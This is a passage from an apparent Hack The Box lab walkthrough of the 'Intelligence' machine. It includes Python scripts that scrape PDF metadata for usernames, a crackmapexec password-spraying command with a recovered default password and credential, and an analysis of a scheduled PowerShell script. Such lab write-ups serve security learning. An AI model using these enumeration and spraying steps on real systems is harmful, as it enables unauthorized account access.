200:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; print(f&amp;#39;http://intelligence.htb/documents/{start_date}-upload.pdf&amp;#39;)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; open(&amp;#39;./url.txt&amp;#39;,&amp;#39;a&amp;#39;,encoding=&amp;#39;utf-8&amp;#39;).write(f&amp;#39;http://intelligence.htb/documents/{start_date}-upload.pdf\n&amp;#39;)&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0520.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;span class="lnt"&gt;18&#10;&lt;/span&gt;&lt;span class="lnt"&gt;19&#10;&lt;/span&gt;&lt;span class="lnt"&gt;20&#10;&lt;/span&gt;&lt;span class="lnt"&gt;21&#10;&lt;/span&gt;&lt;span class="lnt"&gt;22&#10;&lt;/span&gt;&lt;span class="lnt"&gt;23&#10;&lt;/span&gt;&lt;span class="lnt"&gt;24&#10;&lt;/span&gt;&lt;span class="lnt"&gt;25&#10;&lt;/span&gt;&lt;span class="lnt"&gt;26&#10;&lt;/span&gt;&lt;span class="lnt"&gt;27&#10;&lt;/span&gt;&lt;span class="lnt"&gt;28&#10;&lt;/span&gt;&lt;span class="lnt"&gt;29&#10;&lt;/span&gt;&lt;span class="lnt"&gt;30&#10;&lt;/span&gt;&lt;span class="lnt"&gt;31&#10;&lt;/span&gt;&lt;span class="lnt"&gt;32&#10;&lt;/span&gt;&lt;span class="lnt"&gt;33&#10;&lt;/span&gt;&lt;span class="lnt"&gt;34&#10;&lt;/span&gt;&lt;span class="lnt"&gt;35&#10;&lt;/span&gt;&lt;span class="lnt"&gt;36&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;import PyPDF2&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;import requests&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;from io import BytesIO&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;import datetime&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;headers = {&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;Accept&amp;#39;: &amp;#39;text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;Accept-Language&amp;#39;: &amp;#39;zh-CN,zh;q=0.9&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;Cache-Control&amp;#39;: &amp;#39;max-age=0&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;Proxy-Connection&amp;#39;: &amp;#39;keep-alive&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;Referer&amp;#39;: &amp;#39;http://intelligence.htb/&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;Upgrade-Insecure-Requests&amp;#39;: &amp;#39;1&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;User-Agent&amp;#39;: &amp;#39;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;}&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;start_date = datetime.date(2020,1,1)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;end_date = datetime.date(2022,1,1)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;dalta = datetime.timedelta(days=1)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;def Evidence(start_date):&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; try:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; response = requests.get(f&amp;#39;http://intelligence.htb/documents/{start_date}-upload.pdf&amp;#39;, headers=headers)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; pdffile = PyPDF2.PdfFileReader(BytesIO(response.content))&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; docinfo = pdffile.getDocumentInfo()&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; # print(&amp;#39;[*] PDF metadata For：&amp;#39;+ str(filepath))&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; for metaItem in docinfo:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; print(f&amp;#39;http://intelligence.htb/documents/{start_date}-upload.pdf&amp;#39;, end=&amp;#39; &amp;#39;)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; print(metaItem.strip(&amp;#39;/&amp;#39;), &amp;#34;:&amp;#34;, docinfo[metaItem])&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; open(&amp;#39;users.txt&amp;#39;, &amp;#39;a&amp;#39;, encoding=&amp;#39;utf-8&amp;#39;).write(docinfo[metaItem] + &amp;#39;\n&amp;#39;)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; except Exception as e:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; pass&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;if __name__ == &amp;#39;__main__&amp;#39;:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; while start_date &amp;lt; end_date:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Evidence(start_date)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; start_date += dalta&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;One thing worth mentioning: if the headers include the following two values, the response will always be 304.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# &amp;#39;If-Modified-Since&amp;#39;: &amp;#39;Thu, 01 Apr 2021 17:00:00 GMT&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# &amp;#39;If-None-Match&amp;#39;: &amp;#39;&amp;#34;0e86d731827d71:0&amp;#34;&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0521.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I tried to retrieve the hashes for SPN accounts, but there weren&amp;rsquo;t any. I still felt like I was missing something.&lt;/p&gt;&#10;&lt;p&gt;I created a new test.py that downloads all the text from every PDF and writes it to test.txt, making it easier to inspect them one by one.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;span class="lnt"&gt;18&#10;&lt;/span&gt;&lt;span class="lnt"&gt;19&#10;&lt;/span&gt;&lt;span class="lnt"&gt;20&#10;&lt;/span&gt;&lt;span class="lnt"&gt;21&#10;&lt;/span&gt;&lt;span class="lnt"&gt;22&#10;&lt;/span&gt;&lt;span class="lnt"&gt;23&#10;&lt;/span&gt;&lt;span class="lnt"&gt;24&#10;&lt;/span&gt;&lt;span class="lnt"&gt;25&#10;&lt;/span&gt;&lt;span class="lnt"&gt;26&#10;&lt;/span&gt;&lt;span class="lnt"&gt;27&#10;&lt;/span&gt;&lt;span class="lnt"&gt;28&#10;&lt;/span&gt;&lt;span class="lnt"&gt;29&#10;&lt;/span&gt;&lt;span class="lnt"&gt;30&#10;&lt;/span&gt;&lt;span class="lnt"&gt;31&#10;&lt;/span&gt;&lt;span class="lnt"&gt;32&#10;&lt;/span&gt;&lt;span class="lnt"&gt;33&#10;&lt;/span&gt;&lt;span class="lnt"&gt;34&#10;&lt;/span&gt;&lt;span class="lnt"&gt;35&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;import PyPDF2&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;import requests&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;from io import BytesIO&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;import datetime&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;headers = {&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;Accept&amp;#39;: &amp;#39;text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;Accept-Language&amp;#39;: &amp;#39;zh-CN,zh;q=0.9&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;Cache-Control&amp;#39;: &amp;#39;max-age=0&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;Proxy-Connection&amp;#39;: &amp;#39;keep-alive&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;Referer&amp;#39;: &amp;#39;http://intelligence.htb/&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;Upgrade-Insecure-Requests&amp;#39;: &amp;#39;1&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;User-Agent&amp;#39;: &amp;#39;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;}&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;start_date = datetime.date(2020,1,1)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;end_date = datetime.date(2022,1,1)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;dalta = datetime.timedelta(days=1)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;def Evidence(start_date):&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; try:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; response = requests.get(f&amp;#39;http://intelligence.htb/documents/{start_date}-upload.pdf&amp;#39;, headers=headers)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; pdffile = PyPDF2.PdfFileReader(BytesIO(response.content))&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; docinfo = pdffile.getDocumentInfo()&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; # print(&amp;#39;[*] PDF metadata For：&amp;#39;+ str(filepath))&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; for index, page in enumerate(pdffile.pages): # Iterate over all pages&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; open(&amp;#39;test.txt&amp;#39;, &amp;#39;a&amp;#39;, encoding=&amp;#39;utf-8&amp;#39;).write(f&amp;#39;http://intelligence.htb/documents/{start_date}-upload.pdf\n&amp;#39;)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; open(&amp;#39;test.txt&amp;#39;, &amp;#39;a&amp;#39;, encoding=&amp;#39;utf-8&amp;#39;).write(page.extract_text()+&amp;#39;\n\n\n\n\n\n\n&amp;#39;)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; except Exception as e:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; pass&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;if __name__ == &amp;#39;__main__&amp;#39;:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; while start_date &amp;lt; end_date:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Evidence(start_date)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; start_date += dalta&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;The code above draws on quite a few blog posts. This was my first time learning about the PyPDF2 library and the from io import BytesIO technique. When I first started writing it, I ran into plenty of dead ends: several libraries I found either didn&amp;rsquo;t work or were too cumbersome. The posts that helped me most are below. If you want to build these PoCs yourself, you&amp;rsquo;ll probably need to refer to them as well.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://blog.csdn.net/qq_39147299/article/details/125677918" target="_blank" rel="noopener"&#10; &gt;https://blog.csdn.net/qq_39147299/article/details/125677918&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://blog.csdn.net/weixin_43047908/article/details/115769321" target="_blank" rel="noopener"&#10; &gt;https://blog.csdn.net/weixin_43047908/article/details/115769321&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://cloud.tencent.com/developer/article/1477328" target="_blank" rel="noopener"&#10; &gt;https://cloud.tencent.com/developer/article/1477328&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://gist.github.com/ceaksan/25034d9bd4496ea953082d2cfa831ad1" target="_blank" rel="noopener"&#10; &gt;https://gist.github.com/ceaksan/25034d9bd4496ea953082d2cfa831ad1&lt;/a&gt; # This one helped the most&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0522.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I found the default password, so now I can brute-force the accounts.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;NewIntelligenceCorpUser9876&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;crackmapexec smb 10.10.10.248 -u users.txt -p NewIntelligenceCorpUser9876 --continue-on-success&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;I found only one valid credential.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ntelligence.htb\Tiffany.Molina:NewIntelligenceCorpUser9876&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;WinRM isn&amp;rsquo;t enabled on the target, so I can&amp;rsquo;t connect directly. Now that I have credentials, though, I can revisit all the services I checked earlier and collect more information with them.&lt;/p&gt;&#10;&lt;p&gt;SMB&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0523.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I planned to use SYSVOL to recover passwords stored in Group Policy, but no passwords had been saved there.&lt;/p&gt;&#10;&lt;p&gt;Users is simply the Windows Users folder. The flag is shown below.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0524.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0525.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;SMB definitely won&amp;rsquo;t give me a shell, but looking at everything else, none of the other services seem any more promising for getting one. I guessed that the IIS web root might be somewhere under Users. I also found an IT folder containing a single file with the following contents.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Check web server status. Scheduled to run every 5min&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Import-Module ActiveDirectory&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;foreach($record in Get-ChildItem &amp;#34;AD:DC=intelligence.htb,CN=MicrosoftDNS,DC=DomainDnsZones,DC=intelligence,DC=htb&amp;#34; | Where-Object Name -like &amp;#34;web*&amp;#34;) {&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;try {&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$request = Invoke-WebRequest -Uri &amp;#34;http://$($record.Name)&amp;#34; -UseDefaultCredentials&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;if(.StatusCode -ne 200) {&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Send-MailMessage -From &amp;#39;Ted Graves &amp;lt;Ted.Graves@intelligence.htb&amp;gt;&amp;#39; -To &amp;#39;Ted Graves &amp;lt;Ted.Graves@intelligence.htb&amp;gt;&amp;#39; -Subject &amp;#34;Host: $($record.Name) is down&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;}&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;} catch {}&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;}&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;That gave me an idea. It says this file runs every five minutes. If I could modify it, I could get a shell.&lt;/p&gt;&#10;&lt;p&gt;But I couldn&amp;rsquo;t delete the file or upload a replacement. I didn&amp;rsquo;t have permission, and the entire directory was unwritable. PowerShell has always been one of my weak spots, so I tried to work out what the script does.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;span class="lnt"&gt;7&#10;&lt;/span&gt;&lt;span class="lnt"&gt;8&#10;&lt;/span&gt;&lt;span class="lnt"&gt;9&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Import-Module ActiveDirectory&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;foreach($record in Get-ChildItem &amp;#34;AD:DC=intelligence.htb,CN=MicrosoftDNS,DC=DomainDnsZones,DC=intelligence,DC=htb&amp;#34; | Where-Object Name -like &amp;#34;web*&amp;#34;) {&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;try {&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$request = Invoke-WebRequest -Uri &amp;#34;http://$($record.Name)&amp;#34; -UseDefaultCredentials&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;if(.StatusCode -ne 200) {&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Send-MailMessage -From &amp;#39;Ted Graves &amp;lt;Ted.Graves@intelligence.htb&amp;gt;&amp;#39; -To &amp;#39;Ted Graves &amp;lt;Ted.Graves@intelligence.htb&amp;gt;&amp;#39; -Subject &amp;#34;Host: $($record.Name) is down&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;}&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;} catch {}&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;}&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Get-ChildItem retrieves every DNS name beginning with web, then iterates over them and sends 